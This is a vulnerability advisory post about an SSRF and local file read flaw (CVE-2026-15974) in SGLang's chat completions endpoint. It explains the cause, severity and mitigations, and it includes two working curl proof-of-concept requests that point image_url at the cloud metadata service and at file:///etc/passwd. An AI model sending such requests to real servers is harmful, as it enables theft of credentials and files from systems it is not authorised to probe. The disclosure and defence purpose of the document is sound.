Listen to this Post
CVE-2026-15974 is a security vulnerability affecting SGLang, an open-source framework for serving large language models (LLMs) and multimodal AI models. The flaw resides in the multimodal generation endpoint /v1/chat/completions, which is responsible for processing chat requests that include image inputs. This endpoint accepts an `image_url` parameter as part of the request payload, allowing users to reference images via a URL. The vulnerability arises from the fact that this `image_url` is not properly sanitized or validated before the server attempts to fetch the resource.
Under normal operation, the server would download the image from the provided URL and use it for multimodal generation. However, because there is no restriction on the URL scheme or destination, an attacker can supply a URL that points to internal network resources. This leads to a Server-Side Request Forgery (SSRF) condition, where the SGLang server itself makes an HTTP request to the attacker-specified target. The server’s network position often allows it to access internal metadata services (e.g., AWS IMDS, GCP metadata), internal APIs, databases, or other sensitive services that are not exposed to the public internet.
Beyond SSRF, the same unsanitized `image_url` handling enables a local file read vulnerability. By using the `file://` protocol or other local file access mechanisms, an attacker can instruct the server to read files from the local filesystem. This could expose configuration files, source code, credentials, private keys, or any other file that the server process has read permissions for. The combination of SSRF and local file read makes this vulnerability particularly dangerous, as it allows an attacker to pivot from the public-facing API into the internal network and exfiltrate sensitive data.
The vulnerability is classified under CWE-918 (Server-Side Request Forgery). According to the CISA-ADP CVSS v3.1 vector, the base score is 6.5 (Medium) with the vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. This indicates that the attack is network-accessible, requires low complexity, low privileges, and no user interaction, with a high impact on confidentiality but no impact on integrity or availability. The affected versions include SGLang up to and including version 0.5.15. The vulnerability was published on July 30, 2026, and last modified on August 4, 2026, with the source being CERT/CC. A GitHub security advisory (GHSA-x7w5-h7rp-gfp9) and a detailed write-up are available for reference.
DailyCVE Form:
Platform: SGLang
Version: ≤0.5.15
Vulnerability: SSRF+LocalRead
Severity: Medium(6.5)
date: 2026-07-30
Prediction: Patch by 2026-08-20
What Undercode Say:
Analytics indicate that the `/v1/chat/completions` endpoint is the primary attack surface. The `image_url` parameter lacks any validation against private IP ranges, localhost, or the `file://` scheme. Attackers can exploit this to probe internal services and read sensitive files. The following bash command demonstrates a basic SSRF probe:
curl -X POST http://target-sglang:30000/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "some-model",
"messages": [
{
"role": "user",
"content": [
{
"type": "image_url",
"image_url": {
"url": "http://169.254.169.254/latest/meta-data/"
}
}
]
}
]
}'
To test local file read, an attacker might use:
curl -X POST http://target-sglang:30000/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "some-model",
"messages": [
{
"role": "user",
"content": [
{
"type": "image_url",
"image_url": {
"url": "file:///etc/passwd"
}
}
]
}
]
}'
Monitoring logs for unexpected outbound HTTP requests from the SGLang server to internal IP ranges or file access attempts can help detect exploitation.
Exploit:
An attacker can exploit this vulnerability by sending a crafted POST request to the `/v1/chat/completions` endpoint. The `image_url` field within the `content` array is the injection point. By setting this URL to an internal service (e.g., http://169.254.169.254/latest/meta-data/` for AWS metadata) or a local file path (e.g.,file:///etc/passwd`), the server will fetch and return the contents in the response. This can be automated to enumerate internal services, read arbitrary files, and exfiltrate secrets. No authentication is required if the endpoint is exposed publicly, making it a low-barrier attack.
Protection:
To mitigate this vulnerability, administrators should upgrade SGLang to a patched version beyond 0.5.15 as soon as it becomes available. In the interim, network-level controls can be applied: restrict outbound HTTP/HTTPS traffic from the SGLang server to only trusted external domains, block access to private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 127.0.0.0/8), and disable the `file://` scheme at the application or proxy level. Input validation should be implemented to reject any `image_url` that does not match an allowlist of permitted domains or schemes. Additionally, running the SGLang server with the least privilege principle (minimal filesystem read permissions) reduces the impact of local file reads.
Impact:
Successful exploitation allows an attacker to read any file on the server’s filesystem that the SGLang process has access to, potentially including configuration files, credentials, and source code. The SSRF component enables the attacker to scan internal networks, access cloud metadata endpoints to retrieve instance credentials, and interact with internal services that are not exposed to the internet. This can lead to further compromise of the underlying infrastructure, data exfiltration, and lateral movement within the organization’s network. The confidentiality impact is high, though integrity and availability are not directly affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
